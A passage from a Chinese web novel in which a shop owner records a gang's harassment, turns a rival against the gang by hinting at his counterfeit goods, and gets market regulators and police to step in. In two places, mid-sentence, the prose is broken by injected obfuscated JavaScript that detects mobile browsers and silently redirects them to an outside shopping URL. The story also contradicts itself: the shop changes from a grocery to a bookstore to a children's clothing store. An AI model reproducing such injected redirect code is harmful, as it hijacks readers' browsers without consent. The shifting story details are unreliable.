哪怕只是三五个人蹲在对面公交站,盯着铺子指指点点,烟蒂扔得满地都是,都得记下来。”他手指在笔记本上划着格子,力道重得让笔尖微微发颤:
“左边写时间,精确到几点几分,比如‘上午9点17分’,别只写‘早上’;中间写地点,是铺子正门台阶,还是侧边通往后巷的窄道——
那道窄道雨天会积水,他们要是在那儿晃,鞋印会沾泥;右边写情况,得像‘3人围堵买盐的张婶,抢走她手里刚买的洗衣粉,扔在地上踩了两脚,包装袋都破了;
盐撒了一地’这种细节,还有要不要报警、报警后回执单的编号,比如‘京公(朝)回执2023041508’,都得抄在最后一列,字别写太草,警察要看的。”
顿了顿,他从抽屉里翻出张皱巴巴的报纸剪报,边缘都快磨破了,是去年区里“向阳五金店遭寻衅,台账助警方破案”的新闻,标题旁边还画了道歪歪的红圈。
他指着新闻里“半年手写台账”几个字,指尖都泛白了:“别嫌这活儿琐碎,去年街口老周的五金店,就是靠半年的手写台账——
连刀螂团伙偷换他家门锁芯的时间、换下来的旧锁芯扔在哪儿都记着——加上监控录像,把那伙人反复砸店、勒索的证据凑齐了,直接送进了派出所。
那些零散的记录凑起来,就是最硬的证据链,比你空口跟警察说‘他们欺负我’管用十倍。”
王猛点点头,把笔记本塞进帆布包,还特意用掌心按在“XX超市促销赠品”的褪色蓝字上,指节微微用力;
帆布的纹路都陷进肉里,像是要把本子嵌进包里才放心,包底的拉链还拉了两道,生怕漏出去。
与此同时,林凡坐在铺子的收银台后,收银台玻璃下压着几张零钱,一块的硬币边缘都磨圆了,五块的纸币折了道深痕。
他手指敲着计算器,指尖落在磨得发亮的塑料按键上,每一下“啪嗒”都撞在铺子里的水泥墙上,又弹回来,混着货架上玻璃瓶酱油偶尔晃出的轻响,在空荡的铺子里格外清楚。
他心里把刀螂和钱老西的关系捋了三遍,指腹反复蹭过计算器边缘那道深痕——是上个月搬货时被铁皮柜撞出来的,摸起来糙得硌手,像他此刻心里的疙瘩。
刀螂是为黑皮报仇——黑皮上个月趁林凡去仓库拿货,翻收银台偷了两条“中华”香烟,烟盒都捏皱了,被回来的林凡抓了现行,送进派出所判了半个月拘留。
刀螂是黑皮从小一起长大的发小,去年还帮黑皮收过赌债,收债时把人家的门都踹坏了,这口气自然咽不下;
可钱老西不一样,他跟黑皮只是在茶馆里凑过几次麻将的点头之交,凑进来掺和,全是为了仿冒围巾的利益。
林凡前几天傍晚关铺子时,撞见隔壁水果店的老张在巷口抽烟,老张把烟蒂摁在墙根的砖缝里,压低声音说:
“钱老西那旧书铺就是个幌子,他背地里从城郊批发市场拿‘江南新款’的仿冒围巾,仿的是苏州‘苏绣阁’的爆款——
米白色底绣着墨竹,竹叶子的针脚都歪了,吊牌上的‘苏绣阁’logo歪歪扭扭,线头都没剪干净,垂在下面晃。
进价才30块一条,他摆在书铺里的旧书架顶层,用块灰布盖着,有人问就说‘老手艺货’,标价200块卖,来问的都是外地游客,不懂行。
我上个月亲眼看见他从后门接了两箱,箱子上印着‘文具’,其实里面全是围巾,算下来单月利润至少1.2万,比他卖旧书的收入多三倍!”
“这老狐狸精精得很,”林凡心里想,手指摩挲着计算器上的数字键,冰凉的塑料硌着指腹,“刀螂是莽夫,闹起来不管不顾,砸招牌、扔垃圾都敢;
但钱老西不一样,他最怕事情闹大,引来工商或者派出所——
要是有人举报他卖仿冒品,工商一查,不仅要没收所有假货,还得按销售额的5倍罚款,铺子都可能被封,他绝不会愿意被刀螂拖下水。”
选了个顾客最少的下午——
十月的阳光裹着桂花香,软乎乎地漫过街道,梧桐叶缝漏下的光斑落在青石板路上,像撒了把碎金,风一吹,光斑就跟着滚,连影子都晃得暖融融的。
铺子里的黄豆酱油香裹着巷口飘来的桂花香,甜咸揉在一起,漫在鼻尖,倒比平时多了点温软劲儿。
林凡的杂货铺从中午12点到下午2点,只来了个买打火机的大爷,大爷拄着木头拐杖,拐杖头都磨圆了,买完打火机还站在门口抽了支烟,烟味飘进铺子里,混着酱油香又散了。
对面钱老西的书铺更是冷清,门口的梧桐叶黄得发脆,在台阶上堆了半尺高,风一吹就往门里飘,踩上去“咔嚓”一声脆响,碎渣子还会粘在鞋底,钱老西连扫帚都没往外拿,门帘耷拉着,像没睡醒。
林凡把铺子门虚掩着,挂了块边缘磨掉漆的“临时有事,稍后营业”木牌,木牌上还沾着点去年贴春联的胶水,硬邦邦的,抠都抠不下来。
他揣了包刚买的橘子——老张塞给他的,说“刚进的,甜”——独自一人往书铺走,橘子的清香从塑料袋里透出来,混着桂花香,倒让他心里定了点。
刚推开书铺那扇吱呀作响的木门时,门轴上的锈铁皮“咔嗒”掉了一小块,落在水泥地上,滚了半圈才停下,铁锈渣子蹭在手心,凉丝丝的糙。
就看见钱老西躺在靠窗边的藤椅上,藤椅的扶手被摩挲得泛着琥珀色的光,有些地方的藤条断了,用细麻绳缠了两圈,坐下时还会发出“吱呀”的轻响。
他手里捏着份皱巴巴的《都市晚报》,报纸的社会新闻栏被他抠出个小破洞,边角都卷了边,像是被反复折过,油墨都蹭淡了,显然翻了不下十遍。
他听见动静抬头,看见是林凡,眼睛先是猛地一眯,眼角的皱纹挤成一团,像被揉皱又展开的旧报纸,连眼尾的老年斑都挤得更明显了,过了两秒才慢慢睁圆,带着点慌;
随即手里的报纸“啪”地掉在地上,报纸上的油墨蹭在水泥地上,黑了一小块。他赶紧弯腰捡起来,膝盖“咔嗒”响了一声,手指捏着报纸角,指节都泛白了;
嘴角扯出个似笑非笑的表情,露出两颗泛黄的门牙,牙缝里还塞着点茶叶末:
“哟,这不是小林老板吗?稀客啊。怎么,今天不看你的杂货铺,反倒来我这破书铺里瞅书了?
我这儿可有几本民国的线装书,纸都黄了,脆得碰不得,上面还有毛笔字,墨都渗进纸里了,要不要翻翻?”
他边说边往书架那边抬了抬下巴,书架上的旧书蒙着一层厚灰,手指一摸就能沾满,显然很久没人动过,最上面还堆着个破搪瓷碗,碗里落满了灰。
林凡没绕圈子,他拉过旁边的旧木桌时,桌腿在水泥地上蹭出“吱啦”一声尖响,桌面上三道深划痕像被美工刀刻的,最宽的一道里还嵌着点灰,摸上去凹得硌手。
他腰杆挺得直,肩膀没垮,连后背的衣服都没皱,眼神没躲没闪,落在钱老西攥着报纸的手上——那双手指关节粗大,指腹上有层老茧,显然干过粗活。
他语气里带着街坊间的客气,尾音却没飘,落在地上实打实的,像他手里攥着的那枚刚从收银台摸的一元硬币,硬邦邦的:
“钱老板,咱们都是这条街的街坊,我来之前还在您隔壁买了斤橘子——老张说您昨天还去他那儿称了两斤苹果,苹果还是刚卸的,带着露水呢。
我就开门见山了,今天来不是为了书,是想跟您聊聊街上最近的事——您也知道,这阵子不太平,我铺子门口都被人砸了两次了,招牌都没修好。”
钱老西眼皮慢悠悠地抬了抬,眼泡有点肿,像是没睡好,眼角还沾着点眼屎。他伸手端起桌上的搪瓷杯喝了口茶;
杯子上“劳动最光荣”的红字掉了一半,只剩“劳动”俩字还清楚,杯壁上的茶渍圈得密,深褐色的,最上面一圈还沾着点干了的茶叶末。
他喝的时候“吱溜”吸了一口,茶渍就粘在嘴角,没擦,故意把茶杯顿在桌上,发出“当”的一声响,茶渍都震得掉了点下来,落在水泥地上,晕开一小片。
他装糊涂道:“不太平?我怎么没觉得?黑皮那小子自作自受,偷东西被抓进去了,这街面上反倒比以前清静多了——
我这几天卖书都顺心不少,昨天还卖出去本1980年的《三国演义》,封面都掉了,我用线缝了两针,赚了五十块呢,够我买两斤肉了。”
“表面上是清静了,底下的暗流可没停。”
林凡往前凑了凑,手肘撑在木桌上,桌面的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607511|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灰蹭在袖子上,他没在意,声音压低了些,却更有分量,像是带着点凉意,刮在人耳朵上:
“刀螂那伙人,天天在我铺子门口打转。昨天下午3点多,他们拿着钢管砸我挂在门口的招牌——
就是红底黄字的‘全场八折’亚克力板,钢管砸上去时‘哐当’一声,震得我耳朵都麻了,招牌被砸出个拳头大的凹坑,‘折’字右边的‘斤’字碎成了三瓣;
最大的一块掉在台阶上,刚巧被路过的自行车轮碾过,‘咔嚓’一声脆响,碎成了渣子,风一吹就飘走了,我扫了半天才扫干净。
今天早上更过分,7点刚开门,就往我铺子里扔了个塑料袋,塑料袋‘啪’地砸在收银台旁边,烂白菜叶混着馊豆腐的酸臭味一下就飘满了铺子,呛得我直咳嗽。
汁水流在水泥地上,黑褐色的,还黏着点白菜筋,刘老太太拎着布兜刚跨进门,脚一滑差点摔了,手里的玻璃瓶酱油‘哐当’撞在门框上,瓶身沾了好几片黄菜叶,她手都抖了,说‘这是造的什么孽’。
我擦了半天才把地擦干净,酱油瓶上的菜叶抠都抠不下来。钱老板您消息灵通,这条街上哪家进了新货、哪家欠了房租、哪家孩子考了大学,没您不知道的,这些事您肯定听说了吧?”
钱老西干笑的时候喉咙里“嗬嗬”响,像被砂纸磨过的木头,又哑又涩,笑完还咳嗽了两声,手赶紧捂嘴,指缝里漏出点痰音。
他把手揣进藏青色棉袄口袋里,棉袄的领口起了层白绒球,左边袖口还破了个小口,露出里面灰扑扑的棉絮,他揣手的时候,棉絮又往外钻了点。
手指在口袋里搓来搓去,像是在捏什么软乎乎的东西,嘴上说:“呵呵,年轻人嘛,火气大。黑皮进去了,他们心里不痛快,闹点小情绪也正常。
林老板你年纪轻轻就开铺子,大气点,别跟这些毛头小子一般见识,忍忍就过去了——
你看我,前阵子他们在我门口吐口香糖,粘在门槛上,我用铲子刮了半天,都没说啥。”
“我不是不能忍,”
林凡语气里的温软一下散了,冷得像巷口早间的风,眼神也沉了,黑沉沉的,像冬天结了薄冰的河面,连眼睫毛都没动一下,就盯着钱老西的脸,一字一句地说,每个字都咬得清楚;
像是要刻在空气里:
“我是怕再这么闹下去,把工商和派出所的人都引过来。
您也知道,现在街上查得严,上个月区里刚开展了‘社会治安专项整治’,红横幅还挂在街口呢,上面的字都没褪色。
要是有人举报说这儿有寻衅滋事的,派出所肯定得来蹲点,搞不好还会连带查周边商铺的资质;
到时候顺便查查您这铺子里卖的‘江南新款’围巾,到底是正品还是仿冒的,恐怕就经不起查了——
毕竟‘苏绣阁’的正品围巾,吊牌上都有防伪码,刮开能查真伪,您那围巾上可没有,连吊牌都是用胶水粘的,一扯就掉。”
他顿了顿,故意提起上个月街口的事,声音又压低了些,像是说悄悄话,却字字扎心,落在钱老西耳朵里,跟锤子敲似的:
“上个月街口的‘衣品轩’服装店,老板李姐之前也卖过仿冒的牛仔裤,裤腰上的牌子都是印错的,被顾客举报后,工商来查,光罚款就罚了5.8万,还没收了所有假货,封店半个月;
李姐后来跟我哭,说那半个月房租三千五,加上没法做生意的损失,前前后后快十万,她儿子的学费都差点没凑够,最后还是跟亲戚借的。
您说,这要是摊在谁身上,受得了吗?
钱老板您这书铺看着小,要是真被查出问题,可不是罚钱这么简单,说不定连营业执照都得被吊销,到时候您这每月一万多的围巾利润,可就没了。
做生意嘛,求的是财,图的是个安稳,您说是不是这个理儿,钱老板?”
林凡的话像软刀子,没说一句狠话,却把利害关系摆得明明白白:
刀螂再闹下去,不仅林凡的杂货铺要遭殃,钱老西的仿冒围巾生意也得黄——真闹到鱼死网破的地步,谁都没好处。
钱老西的脸一下就白了,蜡黄色全褪了,只剩纸一样的苍白色,连耳尖都没了血色。
嘴唇哆嗦着,嘴角还往下撇,像是要哭,又强忍着,手里的搪瓷杯“哐当”撞在桌上,茶水溅出来,湿了棉袄前襟,深褐色的印子一下就晕开了,连棉絮都吸了水,往下坠。
他盯着那印子,眼神直勾勾的,像没了魂,手指在口袋里攥着的进货单都皱成了团,纸角都被捏烂了,碎渣子掉在地上。
他呼吸也粗了,胸口一鼓一鼓的,像堵了口气没上来,喉咙里还发出“嗬嗬”的响,跟刚才的干笑完全不一样,带着点慌,连手都开始抖,搪瓷杯里的茶水晃得厉害,又洒了些出来。
第四十六章:巧拆联盟,依法护业
钱老西握着紫砂茶杯的手指猛地一顿——
那杯子是他十年前从潘家园淘来的老物件,紫砂胎质温润得像浸了百年的玉,杯身刻着浅淡的“松鹤延年”纹,鹤翅的纹路细得要眯着眼才看清;
常年被茶水浸润的包浆在阳光下泛着蜜色的暖光,连杯口沿的细微磕碰都透着岁月磨出的柔光。
此刻却因他指尖骤然收紧的力道,指节泛了白,杯沿刚溅上的浅褐茶渍像墨滴入清水般,缓缓晕开一小圈深褐,连杯底积的茶垢都仿佛颤了颤。
他那张总堆着笑的圆脸瞬间绷紧,平日里笑起来会挤成褶皱的眼角,此刻像被无形的手扯平了,连苹果肌都垮了下来。眼底先是闪过一丝警惕——
那是被人戳中隐秘时,瞳孔骤然收缩的本能反应,随即又被算计的光覆盖,他眯起眼,目光像老狐狸盯猎物般,在林凡的嘴角、攥着椅柄的手指上扫来扫去,连林凡衬衫袖口沾的一点书墨都没放过。
林凡话里的“弦外之音”,他听得比谁都明白。
这条东起朝阳路、西至滨河巷的文化街,青石板路被岁月磨得发亮,二十三家铺子挤在两侧,一半是飘着油墨香的书店、文具店,一半是飘着焦糖味的文创手作和咖啡简餐。
平时连顾客翻书都轻手轻脚,书页翻动的沙沙声能和咖啡壶的咕嘟声融在一起。
可刀螂那帮人最近天天堵在林凡书店门口,光着的膀子上爬着半截青色龙纹;
龙眼睛用红漆点着,一骂起来唾沫星子横飞,伸手就掀教辅书摊——《五年高考三年模拟》《小升初真题卷》散了一地,书页被风刮得哗啦响;
有位送孩子来买练习册的妈妈赶紧把孩子护在身后,手里攥着的作业本都皱了边。连巷口修鞋的张师傅都忍不住探出头,手里还捏着半截没钉完的鞋掌,铁砧子上的铜钉闪着冷光;
骂了句“没规矩”,又怕惹事似的缩了回去,围裙上的线头随着动作晃了晃。更要命的是,要是再这么闹下去,工商或派出所一旦介入,顺藤摸瓜查到他这“同行前辈”身上——
去年他偷偷给刀螂介绍过三个二手书批发商,其中有个姓周的,手里还压着一批没办备案手续的旧期刊,纸页都发了黄;
就连他自己“文轩书铺”里,每月收的旧书里总有三五本没补全登记手续,有的还是民国时期的线装本,纸脆得碰一下都怕掉渣。
真要查起来,轻则罚款,重则停业,他这铺子可是攒了二十年的家底。
他可没忘去年隔壁粮油店王老板的惨事。
当时王老板帮远房表弟藏了两袋缺斤短两的东北大米,米袋上的“五常”字样都印得模糊。被顾客举报后,工商所的人带着电子秤上门,蓝白相间的制服在粮油店昏暗的灯光下格外扎眼。
不仅罚了五千块,还在店门口贴了张红底白字的“停业整顿”告示,浆糊没干,边角还翘着。那七天里,王老板天天蹲在店门口抽闷烟,烟蒂堆了小半袋,皮鞋上沾着的灰都没擦。
有老主顾来买香油,他只敢摆手,声音哑得像吞了砂纸。最后连中秋旺季的生意都错过了——巷口别家铺子挂着红灯笼;
进出的人手里提着月饼盒,只有他的粮油店关着门,玻璃上的告示被雨水浸得字迹模糊,连苍蝇都不愿多停。
足足缓了三个月,才把流失的老主顾拉回来,那段时间,王老板见了谁都低着头,背好像都驼了些。
沉默的半分钟里,钱老西的手指在杯沿磨来磨去,紫砂的颗粒感蹭得指尖发痒。
脑子里把这笔“利弊账”翻得底朝天:帮刀螂,万一被揪出来,自己这二十年的铺子就完了;不帮,正好借林凡的话跟刀螂撇清关系——
毕竟刀螂上次还抢了他老主顾要的民国版线装《论语》,那本书的封皮是暗红色的,还带着原主人的藏书印,主顾当时摩挲着书脊,眼里的光他至今记得。
结果刀螂横插一杠,用低价截了胡,那主顾后来再没踏进过他的店,连路过都绕着走。最后他才缓缓把茶杯放在红木茶几上,杯底与桌面碰撞时发出“嗒”的轻响,像松了口气,又像下定了决心。
脸上立刻堆起几分“掏心窝子”的笑,眼角的褶皱又回来了,连声音都放软了:
“小林啊,你这话算是说到我心坎里了!做生意讲究个和气生财,刀螂那小子仗着有两个混子朋友,整天咋咋呼呼的——
上次他抢我主顾的《论语》时,还跟我甩脸子,说我‘老东西不懂行’,我早就看他不顺眼了。
这样,我明儿一早就去他那音像店找他,好好说道说道。不过丑话说在前头,那小子性子跟驴似的倔,说不定还会跟我急眼,未必肯听我的劝……”
“钱老板肯出面,这份情我林凡记在心里,成不成都是您的心意。”
林凡适时打断,他注意到钱老西说“抢主顾”时,眼底闪过一丝真真切切的嫌恶——
那眼神像看到了脏东西,连眉头都下意识皱了下,这说明两人本就有嫌隙,现在不过是借自己的话找个台阶下。
他顺着话茬补了句:
“您看街东头的晨光文具和博雅文具,之前也为了抢学生生意,天天互相贴小字报,字写得歪歪扭扭;
还故意把进货价压得比对方低,晨光的进口钢笔卖三十,博雅就卖二十八,最后两家都没赚到钱,店员的脸都拉得老长。
后来还是晨光的李姐提了个主意,一起搞‘学生文具套餐’——晨光出银色的进口钢笔,笔帽上还刻着小星星,配米黄色纸的错题本;
博雅配印着小雏菊的本土文创作业本,加木质的‘读书乐’书签。一套卖五十八块,比单买便宜十块,学生们都爱买。
上个月我去买笔记本,听李姐说,晨光流水从三万八涨到了四万六,账本上的数字都用红笔圈了;
博雅也从两万五涨到三万,老板还特意给店员加了奖金。现在两家常凑在街中间的咖啡馆喝下午茶,桌上放着笔记本,记着各自的进货渠道,李姐还会给博雅的老板带自己烤的曲奇;
包装纸是粉色的。咱们做文化生意的,把市场蛋糕做大,让顾客来了能选到喜欢的东西,总比互相拆台、最后被整条街的人戳脊梁骨强,您说对吧?”
这话既给了钱老西台阶,又点透了“合作比对抗好”的理,钱老西连连点头,眼角的防备又松了几分,甚至起身给林凡添了杯热茶。
热水从茶壶里倒出来,冒着白汽,茶香混着紫砂的土腥味飘过来,溅在杯里的茶叶打着转,钱老西的手还抖了一下,热水溅在茶几上,他赶紧用袖子擦,那袖子的肘部都磨得发亮了。
离开“文轩书铺”,林凡沿着青石板路往回走。
秋日的阳光斜斜照下来,像撒了层金粉,把“林凡书店”的木质招牌晒得暖烘烘的,指尖碰上去,能摸到木纹的凹凸。
招牌右下角那只手绘的小猫,是去年他女儿三岁生日时歪歪扭扭画的,猫耳朵一个大一个小,尾巴翘得老高,当时女儿还沾了满手颜料,在他衬衫上印了个小巴掌。
此刻在阳光下,小猫的黄色颜料显得格外软和,像能伸手摸到毛茸茸的**。他心里清楚,钱老西这老狐狸未必会真的“约束”刀螂,但至少今天这番话,让钱老西心里多了个疙瘩——
以后再想帮刀螂,就得先掂量掂量会不会烧到自己,这颗“分化的钉子”算是钉稳了,他紧绷了近一个月的肩膀,终于松了些。
回到家里,林凡先把卷闸门拉上一半,阳光从缝隙里漏进来,在地上投出长长的光带,灰尘在光里飘着。
又从柜台下翻出一个蓝色文件夹——
那是他特意在晨光文具店挑的加厚款,封面有点磨白,四个边角都贴了米白色的透明胶防磨损,胶上还沾了点细碎的书屑。
里面整整齐齐夹着近一个月的骚扰记录,每一页都用银色的回形针别着佐证材料,回形针都按得服服帖帖,没有一点翘角:
10月3日,刀螂带两个染黄毛的小子堵在门口,当时三位送完孩子的妈妈正站在教辅区翻《五年级数学同步练习》,书页翻得沙沙响。
刀螂突然拍着柜台喊“这店卖盗版书,买回去坑你家娃”,声音大得震得柜台的笔都跳了下。
吓得三位妈妈赶紧收了书,其中穿米色风衣的刘女士,手里的练习册还没来得及放回书架,就攥着跑了出去,后来还特意在傍晚绕回来跟他道歉,声音轻轻的,带着愧疚:
“实在怕惹麻烦,孩子还在外面等着……”
10月8日,刀螂故意把儿童区的绘本架往旁边一推,“哗啦”一声,《小熊宝宝绘本》《好饿的**毛虫》散了一地,彩色的书页像落了一地的花。
他还故意用鞋底碾了碾最上面的《我爸爸》,黑色的鞋印在黄色的封面上格外扎眼,把爸爸的笑脸踩出个黑印子。
旁边看绘本的小女孩,扎着两个小辫子,手里还攥着一本《猜猜我有多爱你》,吓得哇哇哭,眼泪滴在书页上,晕开了一小块。
最后清点时,损毁的12本绘本里,有3本还是刚进的精装版,封面是硬壳的,光进货价就花了246元,林凡当时摸着被碾皱的书脊,心疼得厉害。
10月15日,刀螂在店门口贴了三张“假货店”的小字报,用的是红色马克笔,字写得歪歪扭扭,还画了个丑丑的叉。
店里的监控正好拍清了他贴纸条的动作,连他袖口沾着的蓝油
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607512|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
漆都看得清清楚楚——
那是前几天他帮隔壁装修店刷墙蹭的。
旁边服装店的陈老板正好在门口整理衣架,塑料衣架碰在一起叮当作响,
全程看在眼里,后来还主动在证人签字栏里写了详细经过,连刀螂说话的语气都记了下来:
“那小子贴的时候还哼着歌,说‘让他再开,开不下去才好’……”
林凡把这些材料仔细复印了一份,复印机的灯光是冷白色的,照在纸上,字显得格外清晰。
又手写了一份《情况说明》,笔尖是黑色的中性笔,写得工工整整,没有一点涂改。他特意在里面用红笔标注:
“自9月28日至10月18日,持续骚扰已导致本店客流量下降30%——以往周末平均能有50多位顾客,有的是来买教辅的学生,有的是来翻旧书的老人,现在只剩35位左右;
近两周营业额
从之前的每周6000元,降到了4200元,减少1800余元。
这种行为不仅影响本店合法经营,
更让不少家长不敢带孩子来文化街,上周有位妈妈跟我说‘怕孩子被吓着’,连街尾的文创店都反映客流少了,店里的陶艺体验课都没人报了,破坏了整条街的营商环境。”
下午两点,林凡拿着材料来到区工商所。这栋四层小楼刚翻新过,外墙是浅灰色的,门口挂着“维护市场秩序,保障商户权益”的红色横幅,风吹得横幅边角飘动,像在招手。
负责市场秩序的刘科长今年52岁,头发已经有些花白,两鬓的白发比头顶多,接过文件夹时,手指上还沾着刚写材料的蓝墨水,指腹上有常年握笔磨出的茧子。
他戴上黑框老花镜,镜腿有点松,用透明胶布缠了一圈,一页页仔细看,眉头越皱越紧,眉间的竖纹像刻出来的——
厚厚的17页记录,时间跨度从9月底到10月中旬,几乎每隔两三天就有一次事件,不是偶然的口角,而是有针对性的恶意骚扰:
比如10月10日那次,刀螂故意在书店门口倒了一桶脏水,水里还飘着菜叶,正好泼在来买参考书的高中生裤脚上;
那学生穿着蓝色校服裤,湿了一大片,站在门口红了脸,后来再也没来过;10月12日,还故意把自行车停在书店门口;
车把歪着,挡住半个入口,车座上还沾着灰,直到傍晚才慢悠悠地推走,期间有三位顾客想进来,都被自行车挡了回去。
“小林,你反映的情况很具体,也很严重。”
刘科长把材料放在桌上,手指在《情况说明》上的“客流量下降30%”处敲了敲,指甲盖有点泛白,语气严肃却透着底气,
“维护个体工商户的合法权益,打击扰乱市场秩序的行为,是我们工商所的核心职责,不能让老实人受委屈。
你放心,今天下班前,我们会和辖区派出所的治安组对接,明天一早就派人去文化街调查取证——
上个月我们刚处理过小吃街的恶意骚扰案,是张记饺子馆雇人堵李记馄饨铺,不仅往馄饨汤里扔假发丝,还故意在门口放小鞭炮,炸得满地红纸,吓哭了旁边卖糖葫芦的小孩。
最后查出来后,涉案的3个人不仅赔了李记8000块损失,还被治安拘留了5天,张记老板也被警告,要是再犯就吊销营业执照。
该罚的我们绝不会轻饶,绝不让这种歪风邪气影响市场。”
他顿了顿,从抽屉里拿出一张黄色的值班电话纸条,纸有点薄,边缘有点卷,用钢笔在上面圈出重点号码,字迹力透纸背:
“你回去正常开门做生意,要是再遇到他们**,别跟他们正面冲突——刀螂那帮人之前在别的街也闹过事,有次还动手推过卖水果的商户,把苹果都推撒了。
你直接打这个值班电话,我们所里24小时有人值班,保证15分钟内派人过来,绝不会让你一个人扛着。”
听着刘科长斩钉截铁的话,林凡心里那块悬了近一个月的石头终于落了半截,胸口像卸了重担,连呼吸都顺畅了。
他走出工商所的时候,正好遇到工作人员抱着一摞“维护市场秩序”的宣传册,绿色的封面,上面印着白色的字。
风把宣传册吹开一页,“保障个体工商户合法经营,共建良好营商环境”的黑色粗体字格外显眼,字的边缘还印着小小的星星图案。
他摸了摸口袋里的值班电话纸条,纸条有点皱,是牛皮纸的,指尖捏着,能感受到纸的厚度,心里透着稳——
至少现在,他不用再一边守着书店,一边提心吊胆地盯着门口,怕刀螂突然闯进来掀摊子,怕顾客被吓跑,怕女儿画的小猫招牌下,再也没有笑着进来的人了。
第四十七章:破局与发展
官方的介入比预想的要快。
两天后,晨光刚漫过商业街青灰色的青砖路面,在砖缝里的青苔上投下细碎光斑时;
工商所的银灰色执法车就和派出所的蓝白警车一前一后停在了街口,轮胎碾过路面的轻响打破了清晨的宁静。
身着藏青色制服的工作人员拎着黑色的检查记录仪、红色手柄的消防检测工具走下车;
这场以“规范经营、优化环境”为名的突击检查,不仅来了6个人(比上次多了2位消防专员),还特意携带了最新版的《商户安全检查细则》,比以往任何一次都更显郑重。
检查清单上,消防设施、卫生条件、营业执照、商品质量仍是核心项目:
执法人员会单膝跪地,眼晴平视着查看灭火器压力表上的指针是否精准停在绿色的区域(低于1.2MPa就算不合格),翻开店铺仓储区的消毒记录册时;
还会用指尖点着日期核对“是否每天记录,有没有漏签”;到了童装货架区,他们会拿起一件浅蓝色的婴儿连体衣,先摸一摸面料厚度,再凑近吊牌仔细查看安全类别——
确认是否标注“GB31701-2015A类”(这个标准是国家专门针对3岁以下婴幼儿制定的;
要求甲醛含量≤20mg/kg、pH值在4.0-7.5之间,还得能经受住50次水洗不褪色),甚至会拉开拉链检查里层的缝线是否有毛刺,怕划伤孩子皮肤。
当检查组走到“笑笑宝贝屋”门口时,步伐明显放缓。
工商所的刘科长——
中等身材,鬓角有点发白,总爱把执法证别在胸前——
先是绕着店铺外墙的红色消防栓走了一圈,用手背蹭了蹭接口处的金属,看有没有锈迹,又拧开侧面的水压表,确认指针指在0.8MPa的合格区间,才推门走进店里。
他翻台账时特意停在“进货渠道”那一页,手指划过“蓝天童装厂”的公章,才转头对林凡轻声问:
“最近店里有没有遇到什么特殊情况?比如有人故意刁难,或者影响正常经营的事?”
一旁的**小王也跟着补充,他手里还握着个黑色记事本,笔尖悬在纸上方:
“要是有麻烦别憋着,不管是堆垃圾还是砸玻璃,及时跟我们反映,我们有24小时值班电话。”
林凡攥着账本的手指紧了紧,指节泛白;他想起前几天半夜砸玻璃的事,
却怕给执法人员添麻烦,最终只点头道:“谢谢各位领导,目前都还顺利。”
这一幕,被斜对面五金店二楼窗帘后的刀螂看得清清楚楚。
他穿着件洗得发白的黑色T恤,嘴里叼着的烟卷烧到了滤嘴,烫得手一抖才扔进窗台上的易拉罐里——
那罐子里已经堆了七八个烟蒂。前半个月,他还带着两个小弟在“笑笑宝贝屋”门口耍威风:
故意把馊了两天的外卖盒、沾着烂菜叶的塑料袋堆在店门口,酸臭味飘出好几米,有位提着菜篮子的张奶奶本来想给孙子挑件防晒衣,凑到门口皱着眉捂了捂鼻子,转身就走了;
看到年轻妈妈挑衣服,就凑过去假装“熟人”嘀咕“这料子是化纤的,穿久了容易起球,我侄女上次买了件,洗一次就变形了”;
到了晚上更过分,会拿小石子砸店铺临街的大橱窗,“哐当”一声响,玻璃上就多了道裂纹,有天半夜两点,林凡被砸玻璃的声音惊醒;
起来一看,橱窗右下角破了个拳头大的洞,冷风往里灌,他只能找块胶合板临时钉上,第二天找师傅换玻璃花了600元。
可现在,看到穿制服的人特意跟林凡“唠嗑”,他再浑也明白这是啥信号——
上回东街“李记水果店”的李老板跟隔壁“鲜多铺”抢生意,“鲜多铺”老板找了混混骚扰;
不仅堵门不让顾客进,还划花了李老板的送货车,结果工商和派出所联合查了三次,最后骚扰的三个混混被拘留了5天,还罚了2000元;
“鲜多铺”老板也被警告,差点吊销营业执照。“这姓林的小子,居然真敢找官方撑腰?”刀螂骂了句,又想起昨天钱老西找他的场景。
钱老西是这条街上的“老资格”,开了家叫“便民杂货铺”的小店,已经二十多年了,据说早年工商所年检时,他帮过一位老所长的忙,所以跟所里人多少有点交情。
昨天他把刀螂拉到巷子里,手里叼着个铜制烟斗,烟丝的味道混着霉味飘过来,慢悠悠道:
“你别跟林凡较劲了,人家上周去工商所办营业执照延期,跟刘科长聊了半个多小时,还主动提了商业街的安全问题——
你再闹,万一被当成‘黑恶势力’抓了,划算吗?
你那两个小弟还在上学,不怕留案底?”当时刀螂还不服气,梗着脖子说“他能奈我何”,现在看到检查的阵仗,才算彻底怂了。
从那天起,“笑笑宝贝屋”周围那些鬼鬼祟祟的身影没了,晚上也听不到石子砸玻璃的声音,连巷子里那盏坏了半个月的路灯,都被市政工人修好了,暖黄色的光把路面照得亮堂堂的。
笼罩在“笑笑宝贝屋”上空的阴云,似乎暂时散去了。
王猛——林凡的合作伙伴,总爱穿件蓝色运动服,帮着看店兼送货——
抱着一摞刚到的童装外套冲进店里,嗓门比平时大了三分:
“凡子,你这招太绝了!早上我在巷口碰到刀螂,他本来想跟我瞪眼,一看我往你店这边走,扭头就进小卖部了!”
他说着就要拍林凡的肩膀,却见林凡正对着电脑里的销售数据皱眉。
